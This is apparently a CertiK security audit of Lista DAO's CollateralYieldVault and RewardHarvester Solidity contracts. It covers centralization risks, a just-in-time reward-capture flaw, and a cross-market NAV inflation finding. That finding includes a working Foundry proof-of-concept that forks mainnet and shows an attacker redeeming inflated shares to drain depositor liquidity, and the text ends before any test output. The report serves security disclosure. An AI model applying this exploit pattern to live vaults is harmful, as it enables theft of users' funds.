CERTIK

Lista Dao (CollateralYieldVault) - audit

Security Assessment

CertiK Assessed on Jun 18th, 2026

CertiK Assessed on Jun 18th, 2026

Lista Dao (CollateralYieldVault) - audit

The security assessment was prepared by CertiK.

Executive Summary

TYPES	ECOSYSTEM	METHODS
ERC-20	EVM Compatible	Manual Review, Static Analysis

LANGUAGE	TIMELINE
Solidity	Preliminary comments published on 06/16/2026 Final report published on 06/18/2026

Vulnerability Summary

8	4	0	4	0
Total Findings	Resolved	Partially Resolved	Acknowledged	Declined

1	Centralization	1 Acknowledged	Centralization findings highlight privileged roles & functions and their capabilities, or instances where the project takes custody of users' assets.
0	Critical		Critical risks are those that impact the safe functioning of a platform and must be addressed before launch. Users should not invest in any project with outstanding critical risks.
0	Major		Major risks may include logical errors that, under specific circumstances, could result in fund losses or loss of project control.
2	Medium	1 Resolved, 1 Acknowledged	Medium risks may not pose a direct risk to users' funds, but they can affect the overall functioning of a platform.
2	Minor	1 Resolved, 1 Acknowledged	Minor risks can be any of the above, but on a smaller scale. They generally do not compromise the overall integrity of the project, but they may be less efficient than other solutions.
3	Informational	2 Resolved, 1 Acknowledged	Informational errors are often recommendations to improve the style of the code or certain operations to fall within industry best practices. They usually do not affect the overall functioning of the code.

TABLE OF CONTENTS

LISTA DAO (COLLATERALYIELDVAULT) - AUDIT

CODEBASE | LISTA DAO (COLLATERALYIELDVAULT) - AUDIT

Repository

https://github.com/lista-dao/moolah

Commit

- 7f78b13c23634bcb1a8450286e5ba40438a252a5
- 8e00f37389d4894aaf6b5de19b91fd7ef64ca5f0

AUDIT SCOPE | LISTA DAO (COLLATERALYIELDVAULT) - AUDIT

lista-dao/moolah

- src/moolah-vault/CollateralYieldVault.sol
- src/utils/RewardHarvester.sol
- src/moolah-vault/CollateralYieldVault.sol
- src/utils/RewardHarvester.sol

CertiKProject/certik-audit-projects

- moolah/src/moolah-vault/CollateralYieldVault.sol
- moolah/src/utils/RewardHarvester.sol

APPROACH & METHODS

LISTA DAO (COLLATERALYIELDVAULT) - AUDIT

This audit was conducted for Lista Dao to evaluate the security and correctness of the smart contracts associated with the Lista Dao (CollateralYieldVault) - audit project. The assessment included a comprehensive review of the in-scope smart contracts. The audit was performed using a combination of Manual Review and Static Analysis.

The review process emphasized the following areas:

- Architecture review and threat modeling to understand systemic risks and identify design-level flaws.
- Identification of vulnerabilities through both common and edge-case attack vectors.
- Manual verification of contract logic to ensure alignment with intended design and business requirements.
- Dynamic testing to validate runtime behavior and assess execution risks.
- Assessment of code quality and maintainability, including adherence to current best practices and industry standards.

The audit resulted in findings categorized across multiple severity levels, from informational to critical. To enhance the project's security and long-term robustness, we recommend addressing the identified issues and considering the following general improvements:

- Improve code readability and maintainability by adopting a clean architectural pattern and modular design.
- Strengthen testing coverage, including unit and integration tests for key functionalities and edge cases.
- Maintain meaningful inline comments and documentations.
- Implement clear and transparent documentation for privileged roles and sensitive protocol operations.
- Regularly review and simulate contract behavior against newly emerging attack vectors.

REVIEW NOTES | LISTA DAO (COLLATERALYIELDVAULT) - AUDIT

Overview

The **Lista DAO CollateralYieldVault** is a two-contract, UUPS-upgradeable stack using OpenZeppelin access control.

`CollateralYieldVault` is an ERC4626 vault over slisBNB. Users deposit slisBNB or BNB (converted by StakeManager) for shares and withdraw slisBNB on exit. Deposits are supplied as Moolah collateral via `SlisBNBProvider`; the vault does not borrow. Collateral changes mint slisBNBx, and `MANAGER` redirects all of it to a chosen MPC via `setDelegateTarget` so that MPC can earn Launchpool rewards. `totalAssets()` is the vault's slisBNB collateral held by the provider; gains above `lastTotalAssets` may incur a performance fee via fee-share minting (`fee` is 0 at launch). Only addresses with vault `BOT` may call `increaseVaultAssets()`, which stakes BNB into slisBNB, adds collateral, and raises share price without minting new user shares.

`RewardHarvester` sits between the Launchpool distributor and the vault. A backend account with harvester `BOT` calls `harvest()` to Merkle-claim BNB to the harvester from `ClisBNBLaunchPoolDistributor`, then forwards the full balance to the vault's `increaseVaultAssets()` (the harvester contract must hold vault `BOT`). BNB cannot be redirected during `harvest()`. Harvester `MANAGER` may `rescue` unrelated tokens or BNB left on the harvester.

Privileged Functions

In the **Lista Dao CollateralYieldVault** project, privileged roles are used to support runtime governance, upgradeability, parameter tuning, and emergency response, which are specified in the finding `Centralization Related Risks`.

The advantage of those privileged roles in the codebase is that the client reserves the ability to adjust the protocol according to the runtime required to best serve the community.

It is also worth noting the potential drawbacks of these functions, which should be clearly stated through the client's action/plan. Additionally, if the private keys of the privileged accounts are compromised, it could lead to devastating consequences for the project.

To improve the trustworthiness of the project, dynamic runtime updates in the project should be notified to the community. Any plan to invoke the aforementioned functions should be also considered to move to the execution queue of the `Timelock` contract.

External Dependencies

Third-party libraries used in scope:

- `@openzeppelin/contracts`
- `@openzeppelin/contracts-upgradeable`

Configurable or external addresses by contract:

- **CollateralYieldVault**: immutable `SLIS_BNB`, `STAKE_MANAGER`, `PROVIDER` (SlisBNBProvider); `marketParams`, `delegateTarget`, optional `userWhiteList`, `fee`, `feeRecipient`, and role-bearing admin accounts (`DEFAULT_ADMIN_ROLE`, `MANAGER`, `PAUSER`, `BOT`).

- **RewardHarvester**: immutable `DISTRIBUTOR` (ClisBNBLaunchPoolDistributor), `VAULT` (CollateralYieldVault), and role-bearing admin accounts (`DEFAULT_ADMIN_ROLE`, `MANAGER`, `BOT`).

External protocol dependencies (outside scope, assumed trusted):

- **Moolah**: isolated lending market; vault supplies slisBNB collateral via the registered provider (no borrow performed).
- **SlisBNBProvider**: holds the vault's Moolah collateral position, tracks `userTotalDeposit`, and routes slisBNBx minting through `SlisBNBxMinter`.
- **SlisBNBxMinter / slisBNBx**: mints launchpool participation tokens; vault collateral changes trigger `rebalance`; `delegateAllTo` redirects slisBNBx to the MPC.
- **StakeManager**: converts native BNB to slisBNB on `deposit()`.
- **ClisBNBLaunchPoolDistributor**: Merkle `claim()` pays epoch BNB rewards to the configured harvester account.
- **slisBNB**: 18-decimal ERC20 vault asset and Moolah collateral token.

It is assumed that these external contracts and privileged operators are trusted and correctly managed across the **Lista CollateralYieldVault** deployment lifecycle. In particular: the RewardHarvester must be the Merkle `_account` on the Launchpool distributor; the backend operator must hold `BOT` on the RewardHarvester; the vault must grant `BOT` to the RewardHarvester for `increaseVaultAssets()`; and the vault, provider, market, and harvester must be correctly wired at deployment (including Moolah `onBehalf` permission and `setDelegateTarget`).

FINDINGS | LISTA DAO (COLLATERALYIELDVAULT) - AUDIT

8	0	1	0	2	2	3
Total Findings	Critical	Centralization	Major	Medium	Minor	Informational

This report has been prepared for Lista Dao to identify potential vulnerabilities and security issues within the reviewed codebase. During the course of the audit, a total of 8 issues were identified. Leveraging a combination of Manual Review & Static Analysis the following findings were uncovered:

ID	Title	Category	Severity	Status
LDC-01	**Centralization Related Risks**	**Centralization**	**Centralization**	**Acknowledged**
LDC-02	Just-In-Time Liquidity Attack On `increaseVaultAssets`	Design Issue	Medium	Acknowledged
LDC-03	Aggregate Provider Deposits Used For Single-Market Vault Operations	Logical Issue	Medium	Resolved
LDC-04	Small `deposit` Calls Can Transfer Assets Into The Vault While Minting Zero Shares	Logical Issue	Minor	Resolved
LDC-05	Virtual Shares And Dead Seed Deposit Shares Will Share Revenue	Logical Issue	Minor	Acknowledged
LDC-06	Missing Fail-Fast Market And Provider Validation During Initialization	Coding Style	Informational	Resolved
LDC-08	Strict Whitelisted Model	Design Issue, Logical Issue	Informational	Resolved
LDC-09	Harvest Minimum Uses Total Balance Instead Of Claimed Amount	Design Issue	Informational	Acknowledged

LDC-01 | Centralization Related Risks

Category	Severity	Location	Status
Centralization	**Centralization**		**Acknowledged**

Description

In the contract `CollateralYieldVault`, the role `DEFAULT_ADMIN_ROLE` has authority over the following functions:

Inherited from `AccessControlUpgradeable`:

- `grantRole(bytes32 role, address account)`
- `revokeRole(bytes32 role, address account)`

Inherited from `UUPSUpgradeable`:

- `upgradeToAndCall(address newImplementation, bytes memory data)`

The `DEFAULT_ADMIN_ROLE` is granted to the `admin` address during `initialize(...)`. Because no custom role admin is configured, `DEFAULT_ADMIN_ROLE` is the admin role for itself and for the `MANAGER`, `PAUSER`, and `BOT` roles under the inherited AccessControl model. A compromised or malicious holder can grant privileged roles to arbitrary accounts, revoke operational roles, and authorize UUPS upgrades through `upgradeToAndCall(...)`. The upgrade authority materially expands the effective power of this role: even if the current implementation restricts fee changes, sweeping, emergency withdrawals, pausing, and reward injection, the admin can upgrade to new logic with broader controls, so current implementation-level restrictions are not binding in practice.

In the contract `CollateralYieldVault`, the role `MANAGER` has authority over the following functions:

Defined in `CollateralYieldVault`:

- `setFee(uint256 newFee)`
- `setFeeRecipient(address newFeeRecipient)`
- `setWhiteList(address account, bool enabled)`
- `setDelegateTarget(address target)`
- `sweep(address to)`
- `emergencyWithdraw(uint256 amount, address token)`

The `MANAGER` role is granted to the `manager` address during `initialize(...)`, and the `DEFAULT_ADMIN_ROLE` can later grant or revoke it through inherited AccessControl functions. A compromised or malicious manager can set the performance fee up to `ConstantsLib.MAX_FEE`, change the recipient that receives fee shares, add or remove users from the whitelist, redirect all delegated slisBNBx voting or launchpool participation to a chosen nonzero `delegateTarget`, sweep remaining provider-tracked collateral when `totalSupply() == 0`, and withdraw native BNB or ERC20 tokens held directly by the vault

through `emergencyWithdraw(...)`. These controls can affect fee dilution, fee recipient economics, deposit eligibility, share transfer eligibility when the whitelist is non-empty, reward delegation fairness, and recovery of stranded assets.

In the contract `CollateralYieldVault`, the role `PAUSER` has authority over the following functions:

Defined in `CollateralYieldVault`:

- `pause()`
- `unpause()`

The `PAUSER` role is granted to the `pauser` address during `initialize(...)`, and the `DEFAULT_ADMIN_ROLE` can later grant or revoke it through inherited AccessControl functions. A compromised or malicious pauser can pause the vault, which blocks `deposit(...)`, `mint(...)`, `depositBNB(...)`, and `increaseVaultAssets(...)` through `whenNotPaused`, and causes `maxDeposit(...)` and `maxMint(...)` to return zero. The same role can also unpause the vault. This can affect protocol availability, user deposit access, minting, and reward-compounding liveness.

In the contract `CollateralYieldVault`, the role `BOT` has authority over the following functions:

Defined in `CollateralYieldVault`:

- `increaseVaultAssets()`

The `BOT` role is not granted in `CollateralYieldVault.initialize(...)`; it is intended to be granted later by the `DEFAULT_ADMIN_ROLE`, with the contract comments indicating it is expected to be held by `RewardHarvester`. A compromised or malicious bot can control when reward BNB is injected into the vault, staked into slisBNB, supplied through the provider, and crystallized into vault accounting and fee accrual. This affects reward compounding timing, share price updates, and fee-share minting when fees are enabled.

In the contract `RewardHarvester`, the role `DEFAULT_ADMIN_ROLE` has authority over the following functions:

Inherited from `AccessControlUpgradeable`:

- `grantRole(bytes32 role, address account)`
- `revokeRole(bytes32 role, address account)`

Inherited from `UUPSUpgradeable`:

- `upgradeToAndCall(address newImplementation, bytes memory data)`

The `DEFAULT_ADMIN_ROLE` is granted to the `admin` address during `initialize(...)`. Because no custom role admin is configured, `DEFAULT_ADMIN_ROLE` is the admin role for itself and for the `MANAGER` and `BOT` roles under the inherited AccessControl model. A compromised or malicious holder can grant or revoke the harvester's operational roles and authorize UUPS upgrades through `upgradeToAndCall(...)`. The upgrade authority materially expands the effective power of this role: even if the current implementation restricts reward claims to hardcoded compounding into the vault and restricts rescue access to the manager, the admin can upgrade to new logic with broader controls, so current implementation-level restrictions are not binding in practice. The main limitation is that role management is mediated through AccessControl checks and upgrades must be executed through the UUPS proxy path, but those checks still rely on the

`DEFAULT_ADMIN_ROLE` holder. Abuse or compromise could result in replacement of harvester logic, role takeover, reward-flow disruption, or redirection of assets under future upgraded logic.

In the contract `RewardHarvester`, the role `BOT` has authority over the following functions:

Defined in `RewardHarvester`:

- `harvest(ClaimParams[] calldata claims, uint256 minBNBOut)`

The `BOT` role is granted to the `bot` address during `initialize(...)`, and the `DEFAULT_ADMIN_ROLE` can later grant or revoke it through inherited AccessControl functions. A compromised or malicious bot can control when launchpool reward claims are submitted to the distributor and when the harvester's native BNB balance is injected into the vault through `VAULT.increaseVaultAssets{value: bnbBal}()`.

In the contract `RewardHarvester`, the role `MANAGER` has authority over the following functions:

Defined in `RewardHarvester`:

- `rescue(address token, address to, uint256 amount)`

The `MANAGER` role is granted to the `manager` address during `initialize(...)`, and the `DEFAULT_ADMIN_ROLE` can later grant or revoke it through inherited AccessControl functions. A compromised or malicious manager can transfer native BNB or ERC20 tokens held by the harvester to any nonzero recipient through `rescue(...)`. This can affect stranded assets and any rewards or tokens temporarily held by the harvester before they are compounded or otherwise recovered.

Recommendation

The risk describes the current project design and potentially makes iterations to improve in the security operation and level of decentralization, which in most cases cannot be resolved entirely at the present stage. We advise the client to carefully manage the privileged account's private key to avoid any potential risks of being hacked. In general, we strongly recommend centralized privileges or roles in the protocol be improved via a decentralized mechanism or smart-contract-based accounts with enhanced security practices, e.g., multisignature wallets.

Indicatively, here are some feasible suggestions that would also mitigate the potential risk at a different level in terms of short-term, long-term and permanent:

Short Term:

Timelock and Multi sign (2/3, 3/5) combination *mitigate* by delaying the sensitive operation and avoiding a single point of key management failure.

- Time-lock with reasonable latency, e.g., 48 hours, for awareness on privileged operations; AND
- Assignment of privileged roles to multi-signature wallets to prevent a single point of failure due to the private key compromised; AND
- A medium/blog link for sharing the timelock contract and multi-signers addresses information with the public audience.

Long Term:

Timelock and DAO, the combination, *mitigate* by applying decentralization and transparency.

- Time-lock with reasonable latency, e.g., 48 hours, for awareness on privileged operations; AND
- Introduction of a DAO/governance/voting module to increase transparency and user involvement. AND
- A medium/blog link for sharing the timelock contract, multi-signers addresses, and DAO information with the public audience.

Permanent:

Renouncing the ownership or removing the function can be considered *fully resolved*.

- Renounce the ownership and never claim back the privileged roles. OR
- Remove the risky functionality.

Alleviation

[Lista Dao, 06/17/2026]:
Multi-signature

Platform:
BSC

Multi-sign proxy address:
https://bscscan.com/address/0x8d388136d578dCD791D081c6042284CED6d9B0c6

Transaction proof for transferring ownership to multi-signature proxy:

Internal multi-signature address:

\

Time-lock

Time lock contract address:
https://bscscan.com/address/0x07D274a68393E8b8a2CCf19A2ce4Ba3518735253

Time lock owner transfer transaction hash:

\

DAO contract address(es)

DAO contract address:

[CertiK, 06/17/2026]:
It is suggested to implement the aforementioned methods to avoid centralized failure. CertiK strongly encourages the project team to periodically revisit the private key security management of all addresses related to centralized roles.

We will review the transactions once contracts have been deployed and update the finding status accordingly.

LDC-02 | Just-In-Time Liquidity Attack On `increaseVaultAssets`

Category	Severity	Location	Status
Design Issue	Medium	src/moolah-vault/CollateralYieldVault.sol (06/15-7f78b1): 219~231	Acknowledged

Description

`increaseVaultAssets()` increases `totalAssets` without minting shares, raising `pricePerShare`. An attacker can `deposit` right before the BOT compounds Launchpool rewards, then `withdraw` / `redeem` immediately after, capturing a pro-rata share of rewards they did not earn.This is unfair to other users who keep their deposits in the contract for a long period, because their rewards in Launchpool accrue over epoch time, while the attacker only needs to deposit and withdraw for a short period, or even within a single transaction, to take a share of their rewards.

Recommendation

Consider adopting a time-based reward release design to avoid this issue, such as the classic Synthetix `StakingRewards` design.

Alleviation

[Lista Dao, 06/17/2026]:
Issue acknowledged. I will fix the issue in the future, which will not be included in this audit engagement.

LDC-03 Aggregate Provider Deposits Used For Single-Market Vault Operations

Category	Severity	Location	Status
Logical Issue	Medium	src/moolah-vault/CollateralYieldVault.sol (06/15-7f78b1): 243	Resolved

Description

`CollateralYieldVault` is bound to one Moolah market via `marketParams`, but its ERC-4626 NAV (`totalAssets()`) reads the provider's aggregate per-account deposit balance across all markets that share the same collateral token and provider. Supply, withdraw, and most vault flows operate only on the configured market. If a third party credits the vault address in another same-token market through `SlisBNBProvider.supplyCollateral(onBehalf = vault)`, the vault can treat that external balance as part of its NAV. This can skew share pricing and fee accrual, and can cause `redeem` / `sweep` to attempt withdrawals from the configured market in excess of collateral actually held there. Collateral is not destroyed: it remains on Moolah under the vault account in the other market, but it is not reachable through the vault's normal single-market code paths without a vault upgrade, additional authorized recovery path, or market-scoped recovery logic.

Vulnerability Detail

The vault scopes all collateral mutations to its stored `marketParams`:

```
// File: src/moolah-vault/CollateralYieldVault.sol
  function _deposit(address caller, address receiver, uint256 assets, uint256
shares) internal override {
    super._deposit(caller, receiver, assets, shares);
    PROVIDER.supplyCollateral(marketParams, assets, address(this), "");
    _updateLastTotalAssets(lastTotalAssets + assets);
  }

  function _withdraw(
    address caller,
    address receiver,
    address owner,
    uint256 assets,
    uint256 shares
  ) internal override {
    PROVIDER.withdrawCollateral(marketParams, assets, address(this), address(this));
    super._withdraw(caller, receiver, owner, assets, shares);
  }
```

NAV, however, is not scoped to that market:

```
// File: src/moolah-vault/CollateralYieldVault.sol
  function totalAssets() public view override returns (uint256) {
    return PROVIDER.userTotalDeposit(address(this));
  }
```

`sweep()` uses the same aggregate value but withdraws only from `marketParams`:

```
// File: src/moolah-vault/CollateralYieldVault.sol
  function sweep(address to) external onlyRole(MANAGER) nonReentrant returns
(uint256 amount) {
    if (totalSupply() != 0) revert SharesOutstanding();
    if (to == address(0)) revert ErrorsLib.ZeroAddress();
    amount = totalAssets();
    if (amount > 0) {
      PROVIDER.withdrawCollateral(marketParams, amount, address(this), to);
      _updateLastTotalAssets(0);
    }
    emit Swept(to, amount);
  }
```

On `SlisBNBProvider`, each `supplyCollateral` / `_syncPosition` updates both per-market and aggregate bookkeeping. `userTotalDeposit[account]` is incremented for any market id whose collateral token matches `TOKEN` and whose registered Moolah provider for that token is this `SlisBNBProvider`, while `userMarketDeposit[account][id]` tracks each market separately:

```
// File: src/provider/SlisBNBProvider.sol
  mapping(address => mapping(Id => uint256)) public userMarketDeposit;
  mapping(address => uint256) public userTotalDeposit;

  function supplyCollateral(
    MarketParams memory marketParams,
    uint256 assets,
    address onBehalf,
    bytes calldata data
  ) external {
    require(assets > 0, "zero supply amount");
    require(marketParams.collateralToken == TOKEN, "invalid collateral token");
    IERC20(TOKEN).safeTransferFrom(msg.sender, address(this), assets);
    IERC20(TOKEN).safeIncreaseAllowance(address(MOOLAH), assets);
    MOOLAH.supplyCollateral(marketParams, assets, onBehalf, data);
    (, uint256 latestLpBalance) = _syncPosition(marketParams.id(), onBehalf);
    emit Deposit(onBehalf, assets, latestLpBalance);
  }
```

```
// File: src/provider/SlisBNBProvider.sol
  function _syncPosition(Id id, address account) internal returns (bool, uint256) {
    ...
    if (userMarketSupplyCollateral >= userMarketDeposit[account][id]) {
      uint256 depositAmount = userMarketSupplyCollateral -
userMarketDeposit[account][id];
      userTotalDeposit[account] += depositAmount;
    } else {
      uint256 withdrawAmount = userMarketDeposit[account][id] -
userMarketSupplyCollateral;
      userTotalDeposit[account] -= withdrawAmount;
    }
    userMarketDeposit[account][id] = userMarketSupplyCollateral;
```

There is no restriction that `onBehalf` must equal `msg.sender`. Any address can call `supplyCollateral` on another registered slisBNB market with `onBehalf = address(vault)`, increasing `userTotalDeposit[vault]` without adding collateral to the vault's configured market, provided the vault address is allowed by that market's Moolah supply whitelist. If the market whitelist is empty, Moolah treats the market as open; otherwise the vault address must be explicitly whitelisted.

Broken invariant: ERC-4626 accounting assumes `totalAssets()` reflects assets the vault can access through its own supply/withdraw paths for `marketParams`. After a cross-market credit, `totalAssets()` can exceed `userMarketDeposit[vault][marketParams.id()]`.

Impact

- **Share pricing / fees:** `deposit`, `redeem`, `convertTo*`, and `_accruedFeeShares` use aggregate `totalAssets()`. Cross-market credits inflate NAV relative to collateral in the configured market. New depositors can receive fewer shares than a market-scoped NAV would imply; performance fees can accrue on balances not withdrawable via the vault's configured market.
- **Redeem / withdraw:** Full or large redemptions can revert when computed `assets` exceed collateral in `marketParams`, even though aggregate provider balance is higher. Partial redemptions may still succeed up to the configured-market balance.
- **`sweep()`:** With `totalSupply() == 0`, MANAGER recovery of dust can revert if aggregate NAV includes collateral only present in other markets.

Scenario

1. Vault is initialized with `marketParams` = Market A (slisBNB collateral).
2. Users deposit; vault collateral and `totalAssets()` align on Market A.
3. Attacker (or mistaken operator) calls `SlisBNBProvider.supplyCollateral(Market B, amount, address(vault), "")`, where Market B has the same slisBNB collateral token, uses the same provider, and permits `address(vault)` under its supply whitelist rules.
4. `userTotalDeposit[vault]` increases by `amount`; Market A position is unchanged.
5. `totalAssets()` returns the aggregate (Market A + Market B), inflating PPS and fee baselines.

6. A shareholder redeems shares valued against aggregate NAV; `_withdraw` requests `assets` from Market A only. If `assets` exceeds Market A collateral, Moolah attempts to subtract more collateral than the vault holds in Market A and reverts due to underflow.
7. Alternatively, with `totalSupply() == 0`, `sweep()` passes `amount = totalAssets()` into `withdrawCollateral(marketParams, ...)` and can revert for the same reason.

Proof of Concept

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;

import "forge-std/Test.sol";
import { UUPSUpgradeable } from
"@openzeppelin/contracts/proxy/utils/UUPSUpgradeable.sol";
import { ERC1967Proxy } from
"@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import { MarketParams, Id, Market } from "moolah/interfaces/IMoolah.sol";
import { MarketParamsLib } from "moolah/libraries/MarketParamsLib.sol";

import { CollateralYieldVault } from "../../src/moolah-
vault/CollateralYieldVault.sol";
import { SlisBNBProvider } from "../../src/provider/SlisBNBProvider.sol";
import { ISlisBnbProvider } from "../../src/provider/interfaces/IProvider.sol";
import { SlisBNBxMinter, ISlisBNBx } from "../../src/utils/SlisBNBxMinter.sol";
import { Moolah } from "../../src/moolah/Moolah.sol";

interface IStakeManagerLike {
  function deposit() external payable;

  function convertBnbToSnBnb(uint256 _amount) external view returns (uint256);
}

contract CollateralYieldVaultAuitTest is Test {
  using MarketParamsLib for MarketParams;

  // --- mainnet addresses ---
  Moolah moolah = Moolah(0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C);
  address admin = 0x07D274a68393E8b8a2CCf19A2ce4Ba3518735253; // timelock
  address providerManager = 0x8d388136d578dCD791D081c6042284CED6d9B0c6;
  address slisBnb = 0xB0b84D294e0C75A6abe60171b70edEb2EFd14A1B;
  address stakeManager = 0x1adB950d8bB3dA4bE104211D5AB038628e477fE6;
  address slisBnbx = 0x4b30fcAA7945fE9fDEFD2895aae539ba102Ed6F6;
  address slisBnbModule = 0x33f7A980a246f9B8FEA2254E3065576E127D4D5f; //
SlisBNBProvider
  address slisBnbxOwner = 0x702115D6d3Bbb37F407aae4dEcf9d09980e28ebc;

  // --- vault roles / actors ---
  address vAdmin = makeAddr("vAdmin");
  address vManager = makeAddr("vManager");
  address vPauser = makeAddr("vPauser");
  address bot = makeAddr("bot");
  address feeRecipient = makeAddr("feeRecipient");
  address feeWallet = makeAddr("feeWallet"); // minter MPC fee wallet
  address delegateMpc = makeAddr("delegateMpc"); // launchpool MPC (delegate target)
  address alice = makeAddr("alice");
```

```
address charlie = makeAddr("charlie");

SlisBNBProvider provider;
SlisBNBxMinter minter;
CollateralYieldVault vault;
MarketParams market; // slisBNB collateral / WBNB loan

function setUp() public {
  vm.createSelectFork(vm.envString("BSC_RPC"), 68721673);

  _setupMinterAndProvider();

  // existing slisBNB-collateral market served by the provider
  market = MarketParams({
    loanToken: 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c,
    collateralToken: slisBnb,
    oracle: 0x21650E416dC6C89486B2E654c86cC2c36c597b58,
    irm: 0xFe7dAe87Ebb11a7BEB9F534BB23267992d9cDe7c,
    lltv: 965000000000000000
  });

  // deploy vault (asset/stakeManager derived from provider)
  CollateralYieldVault impl = new CollateralYieldVault(slisBnbModule);
  ERC1967Proxy proxy = new ERC1967Proxy(
    address(impl),
    abi.encodeWithSelector(
      CollateralYieldVault.initialize.selector,
      vAdmin,
      vManager,
      vPauser,
      market,
      "Collateral Yield Vault slisBNB",
      "cySlisBNB"
    )
  );
  vault = CollateralYieldVault(payable(address(proxy)));

  // wire roles + delegate target
  bytes32 botRole = vault.BOT();
  vm.prank(vAdmin);
  vault.grantRole(botRole, bot);

  vm.prank(vManager);
  vault.setDelegateTarget(delegateMpc);

  // sanity: provider-derived immutables
  assertEq(vault.asset(), slisBnb, "asset");
  assertEq(address(vault.STAKE_MANAGER()), stakeManager, "stakeManager");
  assertEq(address(vault.PROVIDER()), slisBnbModule, "provider");
```

```
    assertEq(vault.decimals(), 18, "decimals");
  }

  /* ---------------------------- setUp helpers ---------------------------- */

  function _setupMinterAndProvider() internal {
    // fresh minter with the SlisBNBProvider as a module
    SlisBNBxMinter mImpl = new SlisBNBxMinter(slisBnbx);
    address[] memory modules = new address[](1);
    modules[0] = slisBnbModule;
    SlisBNBxMinter.ModuleConfig[] memory cfgs = new SlisBNBxMinter.ModuleConfig[]
(1);
    cfgs[0] = SlisBNBxMinter.ModuleConfig({ discount: 0, feeRate: 3e4,
moduleAddress: slisBnbModule });
    ERC1967Proxy mProxy = new ERC1967Proxy(
      address(mImpl),
      abi.encodeWithSelector(SlisBNBxMinter.initialize.selector, admin,
providerManager, modules, cfgs)
    );
    minter = SlisBNBxMinter(address(mProxy));

    vm.prank(providerManager);
    minter.addMPCWallet(feeWallet, 1_000_000_000 ether);

    // upgrade provider impl and point it at the fresh minter
    address newImpl = address(new SlisBNBProvider(address(moolah), slisBnb,
stakeManager, slisBnbx));
    vm.prank(admin);
    UUPSUpgradeable(slisBnbModule).upgradeToAndCall(newImpl, "");
    provider = SlisBNBProvider(slisBnbModule);
    vm.prank(providerManager);
    provider.setSlisBNBxMinter(address(minter));

    // authorize the fresh minter to mint slisBNBx
    vm.prank(slisBnbxOwner);
    ISlisBNBx(slisBnbx).addMinter(address(minter));
  }

  function _pps() internal view returns (uint256) {
    // assets returned for 1e18 shares
    return vault.convertToAssets(1e18);
  }

  /* ---------------------------------- tests ---------------------------------- */
  function
test_crossMarketAggregateNavLetsShareholderDrainConfiguredMarketLiquidity() public {
    MarketParams memory marketB =
_createSameProviderMarket(123_456_789_012_345_678);

    uint256 attackerDeposit = 100 ether;
```

```
    uint256 crossMarketCredit = 50 ether;
    uint256 victimDeposit = 100 ether;

    uint256 attackerShares = _deposit(charlie, attackerDeposit);

    assertEq(provider.userMarketDeposit(address(vault), market.id()),
attackerDeposit, "market A before attack");
    assertEq(provider.userMarketDeposit(address(vault), marketB.id()), 0, "market B
before attack");
    assertEq(vault.totalAssets(), attackerDeposit, "aggregate before attack");

    deal(slisBnb, charlie, crossMarketCredit);
    vm.startPrank(charlie);
    IERC20(slisBnb).approve(address(provider), crossMarketCredit);
    provider.supplyCollateral(marketB, crossMarketCredit, address(vault), "");
    vm.stopPrank();

    assertEq(provider.userMarketDeposit(address(vault), market.id()),
attackerDeposit, "market A unchanged");
    assertEq(provider.userMarketDeposit(address(vault), marketB.id()),
crossMarketCredit, "market B credited");
    assertEq(vault.totalAssets(), attackerDeposit + crossMarketCredit, "aggregate
NAV inflated");

    uint256 victimShares = _deposit(alice, victimDeposit);
    assertLt(victimShares, victimDeposit, "victim receives fewer shares due to
inflated aggregate NAV");
    assertEq(
      provider.userMarketDeposit(address(vault), market.id()),
      attackerDeposit + victimDeposit,
      "victim liquidity enters market A"
    );
    assertEq(provider.userMarketDeposit(address(vault), marketB.id()),
crossMarketCredit, "market B still separate");

    uint256 attackerBalanceBefore = IERC20(slisBnb).balanceOf(charlie);
    vm.prank(charlie);
    uint256 attackerAssets = vault.redeem(attackerShares, charlie, charlie);

    assertApproxEqAbs(
      attackerAssets,
      attackerDeposit + crossMarketCredit,
      2,
      "attacker recovers market B credit from market A"
    );
    assertEq(IERC20(slisBnb).balanceOf(charlie) - attackerBalanceBefore,
attackerAssets, "attacker received slisBNB");
    assertApproxEqAbs(
      provider.userMarketDeposit(address(vault), market.id()),
      victimDeposit - crossMarketCredit,
```

```
      2,
      "market A liquidity reduced below victim deposit"
    );
    assertEq(provider.userMarketDeposit(address(vault), marketB.id()),
crossMarketCredit, "market B credit stranded");

    vm.prank(alice);
    vm.expectRevert();
    vault.redeem(victimShares, alice, alice);
  }

  /* ------------------------------- utils ---------------------------------- */

  function _createSameProviderMarket(uint256 lltv) internal returns (MarketParams
memory marketB) {
    marketB = MarketParams({
      loanToken: market.loanToken,
      collateralToken: market.collateralToken,
      oracle: market.oracle,
      irm: market.irm,
      lltv: lltv
    });

    address moolahManager = moolah.getRoleMember(moolah.MANAGER(), 0);
    if (!moolah.isLltvEnabled(lltv)) {
      vm.prank(moolahManager);
      moolah.enableLltv(lltv);
    }

    (, , , , uint128 lastUpdate, ) = moolah.market(marketB.id());
    if (lastUpdate == 0) {
      uint256 operatorCount = moolah.getRoleMemberCount(moolah.OPERATOR());
      address creator = operatorCount == 0 ? address(this) :
moolah.getRoleMember(moolah.OPERATOR(), 0);
      vm.prank(creator);
      moolah.createMarket(marketB);
    }

    address registeredProvider = moolah.providers(marketB.id(), slisBnb);
    if (registeredProvider == address(0)) {
      bytes32 innerSlot = keccak256(abi.encode(marketB.id(), uint256(10))); //
Moolah.providers slot.
      bytes32 providerSlot = keccak256(abi.encode(slisBnb, innerSlot));
      vm.store(address(moolah), providerSlot,
bytes32(uint256(uint160(address(provider)))));
    } else {
      assertEq(registeredProvider, address(provider), "unexpected provider for
market B");
    }
```

```
    assertEq(moolah.providers(marketB.id(), slisBnb), address(provider), "market B
provider");
  }

  function _deposit(address user, uint256 amount) internal returns (uint256 shares)
{
    deal(slisBnb, user, amount);
    vm.startPrank(user);
    IERC20(slisBnb).approve(address(vault), amount);
    shares = vault.deposit(amount, user);
    vm.stopPrank();
  }
}
```

```
forge test --mc CollateralYieldVaultAuitTest \
  --mt test_crossMarketAggregateNavLetsShareholderDrainConfiguredMarketLiquidity -
vvv
```

Test output:

```
% forge test --mc CollateralYieldVaultAuitTest \
  --mt test_crossMarketAggregateNavLetsShareholderDrainConfiguredMarketLiquidity -
vvv
